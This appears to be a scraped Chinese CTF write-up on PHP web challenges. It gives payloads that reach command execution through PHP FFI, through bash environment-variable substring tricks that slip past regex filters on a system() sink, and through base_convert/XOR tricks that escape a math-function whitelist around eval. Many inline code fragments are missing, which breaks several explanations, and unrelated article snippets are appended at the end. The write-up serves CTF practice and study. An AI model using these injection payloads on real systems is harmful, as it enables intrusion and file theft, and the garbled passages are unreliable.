'SERVER_NAME'=> 'mag-tured',
'SERVER_PROTOCOL'=> 'HTTP/1.1',
'CONTENT_TYPE'=> 'application/x-www-form-urlencoded',
'CONTENT_LENGTH'=> strlen( $content ),
'PHP_VALUE'=> $php_value,
),
$content
);
可以用下面代码判断php以什么运行:
<?phpechophp_sapi_name();exit();
下面这段代码可以建立sock连接
<?php
$fp=fsockopen("www.example.com", 80, $errno, $errstr, 30);
if(!$fp) {
echo"$errstr($errno)<br /> ";
} else{
$out="GET / HTTP/1.1\r ";
$out.="Host: www.example.com\r ";
$out.="Connection: Close\r \r ";
fwrite($fp, $out);
while(!feof($fp)) {
echofread($fp, 128);
}
fclose($fp);
}
?>
php7.4,基本上命令执行就告一段落了
提示说php7.4 立马想到
FFI,php7.4以上才有 https://www.php.net/manual/zh/ffi.cdef.phphttps://www.php.cn/php-weizijiaocheng-415807.html
payload:
$ffi=FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数
有过滤,fuzz 了一下
发现等没被过滤。
以前有个类似的题,但有不一样,知识点 https://yanmie-art.github.io/2020/09/28/ctfshow%E6%9C%88%E9%A5%BC%E6%9D%AF/
环境变量一般是指用来指定操作系统运行环境的一些参数,比如临时文件夹的位置和系统文件夹位置等。
我们会经常使用一些Linux下操作指令,如ls,ps等。这些命令我们在任何一个目录下都能够执行。其实这些命令不过是一个个可执行程序,一般存放在/bin或/usr/bin目录下。你有没有思考过当我们执行这些指令的时候,操作系统是怎么找到他们的呢?
其实操作系统能够找到这些指令都要归功于,系统中的环境变量PATH。PATH环境变量中就记录了这些文件所在的路径,当我们使用以上命令的时候,PATH环境变量就把指令的路径提交给shell,Linux操作系统就是通过搜索PATH环境变量从而找到这些命令的。
可以使用命令来查看我们linux 环境变量的设置。
如图:
s
root@ecs-sn3-medium-2-win-20191202181542:~# env LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36: SSH_CONNECTION=1.68.96.182 25650 192.168.0.196 22 LESSCLOSE=/usr/bin/lesspipe %s %s LANG=en_US.UTF-8 DISPLAY=localhost:10.0 HISTTIMEFORMAT=%F %T root XDG_SESSION_ID=11226 USER=root PWD=/root HOME=/root SSH_CLIENT=1.68.96.182 25650 22 XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop SSH_TTY=/dev/pts/0 MAIL=/var/mail/root TERM=xterm SHELL=/bin/bash SHLVL=1 LOGNAME=root XDG_RUNTIME_DIR=/run/user/0 PATH=/usr/local/ *** in:/usr/local/bin:/usr/ *** in:/usr/bin:/ *** in:/bin:/usr/games:/usr/local/games:/snap/bin HISTSIZE=1000 LESSOPEN=| /usr/bin/lesspipe %s _=/usr/bin/env
环境变量的格式
环境变量名=内容1:内容2 //环境变量名一般大写,多个内容用":"隔开,且等号两边不能有空格
查看环境变量名的内容,可以使用指令:“echo $环境变量名”
example:echo $PATH
环境变量的添加
添加环境变量使用指令export,分为临时添加和永久添加
临时添加
临时添加只对当前的终端有效,如果当前终端关闭,则添加的环境变量接不存在了。
比如我们本地编写一个hello.c的文档,然后用gcc编译成hello可执行文件。如果我们想在任何目录下都可以执行该文件,则只需要将其添加到环境变量中去。
@export PATH=<hello文件所在的目录>:$PATH
此处如果不加":$PATH",则PATH环境变量以前的内容就被覆盖掉了,加上这个表示我们仍引用它之前的内容,只不过再添加上我们的新内容罢了。
永久添加
在Linux系统中,有些文件在系统启动的时候或用户登录的时候会自动执行。例如/etc/profile,这是一个Shell脚本文件,任何用户登录的时候都会执行。
所以,只要我们将环境变量添加到/etc/profile中,这样在任何时候环境变量都有效。
开始做题。上边题目小写字母和数字都被过滤了。但是我们还可以使用大写字母、$ 、冒号。
而linux 中环境变量恰好就是大写字母。比如说常见的 PATH 变量。
root@ecs-sn3-medium-2-win-20191202181542:~# echo $PATH
/usr/local/ *** in:/usr/local/bin:/usr/ *** in:/usr/bin:/ *** in:/bin:/usr/games:/usr/local/games:/snap/bin
我们还可以会得到 字符.
为什么呢?
是一串字符串,冲0 开始,取 1 位置也就是第2位字符开始取一位。
但是字母被过滤了就很难受。
我们还有一种 *** ,取 linux 变量代表字符串的长度,就可以构成我们的变量了。
比如说会得到 98 . 那么我们就可以使用命令输出的变量中的环境变量选择一个合适的 取其长度 再结合构造我们字符 getshell .
比如说我们想构造
原本可以通过构造,但是过滤了数字。
但是还可以这样.
是Bash的内部函数(并不是常量), 这个函数将返回一个伪随机[1]整数, 范围在0 - 32767之间. 它应该被用来产生密匙.
所以可以使用 ${#RANDOM} 表示 1 , 2 ,3,4,5 有几率。
还可以:
输出变量代表字符串的最后一位,但是我们的数字被过滤了,我们可以使用,应该是字符等于false等于 0 把,所以可以把最后一位给代表。
代表.
如果想要读取文件的话可以使用 linux 通配符。
https://blog.csdn.net/wit_732/article/details/106290562
payload:
${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}}?${PATH:${#RANDOM}:${#SHLVL}}.?
?
#其他师傅
${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}}.?
环境界面和上题一样,经测试在上题的基础上多过滤了,那么这个系统变量肯定是不能用了。
cat 命令实质上是在那么我们利用其它命令构造他,
题目wp应该是与题目环境即容器名称有关。
${PWD:${#}:${#SHLVL}}?${PWD:${#}:${#SHLVL}}${HOME:${#HOSTNAME}:${#SHLVL}}.?
这里就各机器都不同。
但是我自己构造的在题目机器上又执行不了。
${PWD:${#}:${#SHLVL}}?${PWD:${#}:${#SHLVL}}${HOME:${#RANDOM}:${#SHLVL}}
?
${PWD:${#}:${#SHLVL}}?${PWD:${#}:${#SHLVL}}${HOME:${#HISTSIZE}:${#SHLVL}}
?
旨在构造利用通配符.
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|"|\`|\||\,/', $code)){ ? ?
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}
?
?>
又增加过滤了
自己构造的paylaod在这里不行,显示太长
${PWD::${#SHLVL}}?${PWD::${#SHLVL}}${PWD:${RANDOM:~A}}
官方payload:
${PWD::${#SHLVL}}?${PWD::${#SHLVL}}?${USER:~A}? .?
官方wp这里的代表的变量最后一位是,题目也没提示。。。
这里不是,要不然就可以
${PWD::${#SHLVL}}?${PWD::${#SHLVL}}${PWD:~A}
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|"|\`|\||\,/', $code)){ ? ?
if(strlen($code)>65){
echo'<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo'<div align="center">'.system($code).'</div>';
}
}
else{
echo'<div align="center">evil input</div>';
}
}
?
?>
有多过滤了几个linux变量.
首先这里 把给 ban 了,那我们就得找其他的 1 个长度的变量。
$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)
$# 添加到Shell的参数个数
详情: https://blog.csdn.net/helloxiaozhe/article/details/80940066
、都可以代表 1
题目变量不知又是代表的啥。
那么这个就会输出 1 了。
payload:code=<A;${HOME::$?}?${HOME::$?}?${RANDOM::$?} .?
#可能存在成功的机会,不断刷新 /bin/base64
<?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ show_source(__FILE__); }else{ //例子 c=20-1 $content=$_GET['c']; if (strlen($content) >=80) { die("太长了不会算"); } $blacklist=[' ', ' ', '\r', ' ','\'', '"', '`', '\[', '\]']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $content)) { die("请不要输入奇奇怪怪的字符"); } } //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp $whitelist=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh']; preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs); foreach ($used_funcs[0] as $func) { if (!in_array($func, $whitelist)) { die("请不要输入奇奇怪怪的函数"); } } //帮你算出答案 eval('echo '.$content.';'); }
这道题也是见过好多次了,但是没有深究。
首先接收一个, 长度还不能大于 80 。还不能有黑名单中的 空格、、、、引号、方括号。然后设置白名单,必须符合。也就是必须输入白名单中的函数。
做题思路:
首先 php 允许把函数名通过字符串方式传递给一个变量,然后通过变量动态调用函数。如就会执行 abc() 函数。
php 中函数名默认为字符串,可以进行异或。
*** 1
想办法构造再传参getflag,但是其实发现构造这个很难。。。因为、、、都不能用,同时必须是大写,很难直接构造。
函数在任意进制之间转换数字。
可以使用这个函数讲其他进制数转为36进制,而是36进制是包含所有数字和小写字母的。但终究无法构造大写字母。但又可以构造其他的小写字母函数,让构造的函数转换。
函数把十六进制转换为十进制。
函数把十进制数转换为十六进制数。
函数讲 ASCII 字符转换为十六进制值,字符串可通过 pack() 或者 hex2bin() 函数转换回去。
函数把十六进制值得字符转换为 ASCII 字符。
那么我们就可以想象一下,把先利用转换为 十六进制,在利用转换为十进制,那么反过来就可以把 一段数字转换为字符。
但是等不是白名单的函数,要从哪里来?
这时候就要看得作用了,因为上面的函数都是小写的,所以可以利用此函数将一个十进制数的数字转为十六进制的小写字符。
那么怎么才能直到这个数呢?我们可以先逆向将十六进制字符转换为十进制数,得到该数字,最终逆向构造即可。
echobase_convert('hex2bin',36,10);
# 得到 37907361743
?
echobase_convert(37907361743,10,36);
# 反过来就可以得到 hex2bin
在将反向构造出来:
echobin2hex('_GET');
# 得到 5f474554 将字符转换为十六进制
echohexdec('5f474554');
# 得到 1598506324 将十六进制转为十进制。
?
?
echodechex(1598506324);
echohex2bin('5f474554');
# 逆向最终得到 _GET
白名单中有、函数,但是没有、函数,但是我们可以使用函数构造任意小写函数。
串起来构造
echobase_convert(37907361743,10,36)dechex(1598506324)
可以用代替构造
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=ls
# 得到 _GETflag.php index.php
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=catflag.php
# 得到 flag
*** 2
可以构造传参,此是小写的,可以直接用转换。
狗早:
$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
分析:
base_convert(696468,10,36)=>"exec"
$pi(8768397090111664438,10,30)=>"getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echoxx,yy
— Fetch all HTTP request headers
经测试,这里列目录的时候只能显示一个文件名,故可以base64编码后输出。
1: ls|base64
*** 3
直接
//exec('hex2bin(dechex(109270211257898))')=> exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//system('cat'.dechex(16)^asinh^pi)=> system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
*** 4
前面都是利用白名单的数学函数将数字转成字符串,其实也可以异或构造这是fuzz脚本
<?php
$payload=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', ?'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
for($i=0;$i<9; $i++){
for($j=0;$j<=9;$j++){
$exp=$payload[$k] ^$i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo"<br />";
}
}
}
$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
https://www.cnblogs.com/wrnan/p/13765680.html
https://blog.csdn.net/miuzzx
QQ被盗了,只要在登陆处点击那个忘记密码。会出现申诉的一个网页、只要你记得你QQ三个或者一个好朋友的QQ号码,和你曾经改过或者用过的密码。填写完毕之后。 盗号是利用木马,监听别人的密码。如果他要帮你盗...
打发时间(18种打发时间的方法) 到街头做一天的志愿者,专门在马路旁边帮助老年人或者行动不方便的人过马路。给所有你想得出名字又有电话号码的人打个电话。仔细观察家庭成员的小细节,每天观察一个,然后记下...
水果盆栽,和盆栽蔬菜,盆栽花卉比起来,有很多相同的地方,都可以种在阳台露台上,种在家里,只要稍微懂得一些诀窍,水果盆栽种起来也是一件简单的事情,虽然种花盆里,也可以结果多长势旺! 盆栽水果可以当...
培养孩子的社交能力对于今后的生活,学习和工作都有重大影响,很多孩子在学习被欺负往往就是由于社交能力不足而导致的,需要引起家长重视,那么怎么提升孩子的社交能力?下面友谊长存小编带来介绍。 怎么提升孩子...
苹果手机很多人用,但是里面有一个超实用的功能,大多人都不知道,它能把你曾经去过的地方都能看得一清二楚,下面我们来分享一下怎么操作,只限苹果手机哦。 首先,打开【设置】-往下拉-【隐私】-【定位服务】...
流量,就是网络营销延续的血液,这个是谁都懂得。然而,公域流量转化成私域流量行为引导,就并非人人都能做到并成功引导达到预期效率了。说到公域流量池,你会想到什么呢?搜索引擎的流量最大是不容置疑的事情。...